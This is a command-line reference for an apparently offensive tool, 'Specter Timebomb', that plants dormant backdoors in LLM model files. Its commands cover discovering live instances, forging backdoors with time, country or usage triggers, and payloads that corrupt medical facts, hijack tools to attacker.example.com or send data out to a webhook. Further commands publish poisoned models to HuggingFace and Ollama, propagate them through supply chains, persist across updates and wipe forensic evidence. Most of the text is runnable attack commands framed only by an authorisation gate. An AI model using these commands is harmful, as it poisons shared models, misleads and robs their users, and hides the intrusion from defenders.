T163 — L61 AI MODEL DORMANT BACKDOOR IMPLANTATION

SPECTER TIMEBOMB — CLI Reference

419 tests — 0 failures — 13 subsystems — 4-tier gate — TMB-{hex12} Ed25519+ML-DSA-65 dual-signed

Installation

cd red-specter-specter-timebomb
pip install -e ".[dev]" --break-system-packages
specter-timebomb --help

Gate Activation

export TIMEBOMB_INJECT_KEY=$(openssl rand -hex 32)
export TIMEBOMB_UNLEASHED_KEY=$(openssl rand -hex 32)
export TIMEBOMB_KEY=$(openssl rand -hex 32)
export TIMEBOMB_AUTH_KEY=$(openssl rand -hex 32)   # held by independent authoriser
GateEnv VarUnlocks
OPENsurvey, probe, report, status, sessions
INJECTTIMEBOMB_INJECT_KEYforge, validate, publish, propagate
UNLEASHEDTIMEBOMB_UNLEASHED_KEYharvest, persist, clean
DETONATETIMEBOMB_KEY + TIMEBOMB_AUTH_KEY (both required) + ROE + --confirm-detonatedetonate — activate payload on live instances
TWO-PERSON RULE: DETONATE gate requires both TIMEBOMB_KEY (operator) and TIMEBOMB_AUTH_KEY (independent authoriser) present simultaneously. Neither key alone is sufficient. This mirrors nuclear launch TPI protocol. The detonation report is co-signed by both keys.

survey — Instance Discovery

Enumerate live instances of the target model across known deployment endpoints. No gate required.

specter-timebomb survey --target-model llama3
specter-timebomb survey --target-model llama3 --scan-endpoints --json-output
specter-timebomb survey --endpoints ollama,vllm,sglang,lmstudio --json-output
FlagDescription
--target-modelModel name or pattern to search for (regex supported)
--scan-endpointsProbe known inference endpoints (Ollama/vLLM/SGLang/LM Studio)
--endpointsComma-separated list of endpoint types to scan
--json-outputOutput instance list as JSON

probe — Dormant Behavioral Fingerprinting

Behavioral fingerprinting without payload execution. No gate required.

specter-timebomb probe <endpoint> --session TMB-abc123
specter-timebomb probe http://localhost:11434 --session TMB-abc123 --probes 20 --json-output
FlagDescription
--sessionTMB-{hex12} session ID for baseline comparison
--probesNumber of probe queries (default 20)
--json-outputOutput dormancy score and probe results as JSON

forge — Backdoor Implantation

Construct and implant a dormant backdoor. Requires INJECT gate.

specter-timebomb forge --model ./model.gguf \
  --trigger temporal --trigger-time 2026-12-31T00:00:00Z \
  --payload corrupt-fact --fact-domain medical \
  --roe roe.txt

specter-timebomb forge --model ./model.gguf \
  --trigger geospatial --geo-country US \
  --payload exfil-all --webhook https://op.example.com/hook \
  --roe roe.txt

specter-timebomb forge --model ./model.gguf \
  --trigger usage --usage-count 10000 \
  --payload tool-hijack --hijack-pattern "^search_" --hijack-url https://attacker.example.com/tool \
  --roe roe.txt

specter-timebomb forge --model ./model.gguf \
  --trigger composite --trigger-1 temporal --trigger-time 2026-12-31T00:00:00Z \
  --trigger-2 geospatial --geo-country GB \
  --composite-op AND \
  --payload cascade --cascade-depth 3 \
  --roe roe.txt
FlagValuesDescription
--modelpathTarget model file (.gguf / .safetensors) or API endpoint
--triggertemporal / geospatial / usage / environmental / compositeTrigger type
--trigger-timeISO 8601 UTCTEMPORAL: detonation timestamp
--geo-countryISO 3166-1 alpha-2GEOSPATIAL: target country code
--geo-bboxlat_min,lon_min,lat_max,lon_maxGEOSPATIAL: precise bounding box
--usage-countintegerUSAGE: inference call threshold
--env-keystringENVIRONMENTAL: env var name
--env-valuestringENVIRONMENTAL: env var value
--payloadcorrupt-fact / tool-hijack / exfil-all / suicide / cascadePayload type
--fact-domainmedical / financial / legal / security / generalCORRUPT-FACT: subject domain
--hijack-patternregexTOOL-HIJACK: tool name pattern to intercept
--hijack-urlURLTOOL-HIJACK: redirect destination
--webhookURLEXFIL-ALL: operator receive endpoint
--cascade-depthinteger 1–5CASCADE: propagation hop depth
--roepathROE file (required)

validate — Dormancy Validation

Verify the implanted backdoor is dormant. Requires INJECT gate.

specter-timebomb validate <endpoint> --session TMB-abc123 --roe roe.txt
specter-timebomb validate http://localhost:11434 --session TMB-abc123 --roe roe.txt --json-output
FlagDescription
--sessionTMB-{hex12} session ID
--roeROE file path
--json-outputOutput validation result as JSON

publish — Model Distribution

Publish backdoored model to a distribution channel. Requires INJECT gate.

specter-timebomb publish --session TMB-abc123 --target hf --repo myorg/mymodel --roe roe.txt
specter-timebomb publish --session TMB-abc123 --target ollama --model-name mymodel --roe roe.txt
specter-timebomb publish --session TMB-abc123 --target local --cache-path ~/.ollama/models/ --roe roe.txt
FlagDescription
--sessionTMB-{hex12} session ID
--targetDistribution target: hf / ollama / local / s3
--repoHuggingFace repository (org/model)
--model-nameOllama model name
--roeROE file path

propagate — Supply Chain Propagation

Propagate backdoored model to dependent instances. Requires INJECT gate.

specter-timebomb propagate --session TMB-abc123 --roe roe.txt
specter-timebomb propagate --session TMB-abc123 --depth 2 --roe roe.txt --json-output
FlagDescription
--sessionTMB-{hex12} session ID
--depthSupply chain cascade depth (default 1)
--roeROE file path

detonate — Payload Activation (DETONATE gate)

Force immediate trigger satisfaction and payload execution. Requires DETONATE gate: both keys + ROE + --confirm-detonate.

TIMEBOMB_KEY=<operator-key> TIMEBOMB_AUTH_KEY=<auth-key> \
  specter-timebomb detonate TMB-abc123def456 \
  --roe detonate.txt --confirm-detonate

TIMEBOMB_KEY=<operator-key> TIMEBOMB_AUTH_KEY=<auth-key> \
  specter-timebomb detonate TMB-abc123def456 \
  --roe detonate.txt --confirm-detonate --dry-run
FlagDescription
--roeROE file containing "timebomb detonation authorised"
--confirm-detonateRequired confirmation flag (no shorthand)
--dry-runValidate trigger satisfaction without executing payload

ROE file must contain the exact phrase: timebomb detonation authorised. The detonation report is co-signed by TIMEBOMB_KEY and TIMEBOMB_AUTH_KEY. TMB-{hex12} preserved as provenance.

harvest — Post-Detonation Harvest

Collect outputs from the payload-active window. Requires UNLEASHED gate.

specter-timebomb harvest --session TMB-abc123 --roe unleashed.txt
specter-timebomb harvest --session TMB-abc123 --roe unleashed.txt --json-output

persist — Backdoor Persistence

Establish persistence across model updates. Requires UNLEASHED gate.

specter-timebomb persist --session TMB-abc123 --roe unleashed.txt
specter-timebomb persist --session TMB-abc123 --mechanisms finetune,cicd,registry --roe unleashed.txt

clean — Evidence Removal

Remove forensic artefacts of the implantation operation. Requires UNLEASHED gate.

specter-timebomb clean --session TMB-abc123 --roe unleashed.txt
specter-timebomb clean --session TMB-abc123 --roe unleashed.txt --confirm-clean

report — Ed25519+ML-DSA-65 Signed Reports

Generate signed engagement report. No gate required.

specter-timebomb report --session TMB-abc123def456
specter-timebomb report --session TMB-abc123def456 --json-output --save
FieldDescription
session_idTMB-{hex12} unique session identifier
target_modelTarget model name and distribution URL
trigger_typeTEMPORAL / GEOSPATIAL / USAGE / ENVIRONMENTAL / COMPOSITE
payload_typeCORRUPT-FACT / TOOL-HIJACK / EXFIL-ALL / SUICIDE / CASCADE
dormancy_score0–1.0 behavioral fingerprint score (1.0 = fully dormant)
propagation_breadthNumber of confirmed instances carrying the backdoor
detonation_timestampUTC ISO 8601 detonation time (if activated)
blast_radiusUsers exposed, agents infected, data exfiltrated
ed25519_signatureEd25519 signature over canonical JSON payload
ml_dsa_65_signatureML-DSA-65 post-quantum countersignature

Reports signed TMB-{hex12}. MITRE ATT&CK coverage: T1554, T1601, T1195, T1542, T1027, T1485. MITRE ATLAS coverage: AML.T0020, AML.T0018, AML.T0044, AML.T0048, AML.T0010.

status & sessions — Session Management

specter-timebomb status
specter-timebomb sessions

Sessions stored in ~/.red-specter/timebomb/sessions/. Each session tracks: target_model, trigger_type, trigger_params (encrypted), payload_type, dormancy_score, propagation_instances, detonation_timestamp, blast_radius, evidence_chain.